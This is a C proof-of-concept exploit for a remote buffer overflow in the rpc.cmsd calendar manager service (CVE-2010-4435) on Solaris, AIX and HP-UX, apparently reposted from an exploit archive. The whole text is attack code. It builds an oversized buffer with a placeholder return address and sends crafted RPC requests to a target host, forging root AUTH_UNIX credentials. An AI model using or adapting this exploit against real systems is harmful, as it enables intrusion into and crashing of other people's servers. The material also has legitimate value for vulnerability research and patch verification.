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Vendor Calendar Manager Remote Code Execution
[/*
* Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com>
* http://www.kernelhacking.com/rodrigo
* http://www.risesecurity.org
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>
#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_INSERT 6
#define CMSD_UNKN 10
struct cm_send {
char *s1;
char *s2;
};
struct cm_send2 {
char *s1;
char *s2;
};
struct cm_reply {
int i;
};
bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
char buf[2048], buf2[256];
long ret, offset;
int len, x, y, i;
char *hostname, *b;
CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;
printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n");
printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n");
printf("<< http://www.kernelhacking.com/rodrigo >>\n");
printf("<< http://www.risesecurity.org >>\n");
if(argc < 2) {
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}
hostname = argv[1];
memset(buf,0x60,sizeof(buf)-1);
memset(buf2,0x44,sizeof(buf2)-1);
memcpy(buf+292,"\xaa\xbb\xcc\xdd",4);
send.s1 = buf;
send.s2 = "";
send2.s1 = buf2;
send2.s2 = "";
printf("\nSending CMSD_UNKN to the server ... ");
if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);
clnt_destroy(cl);
printf("done!\n");
printf("Sending CMSD_INSERT procedure ... ");
if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2,
xdr_cm_reply, (caddr_t) &reply, tm);
printf("done!\n");
clnt_destroy(cl);
}
# 0day.today [2024-10-05] #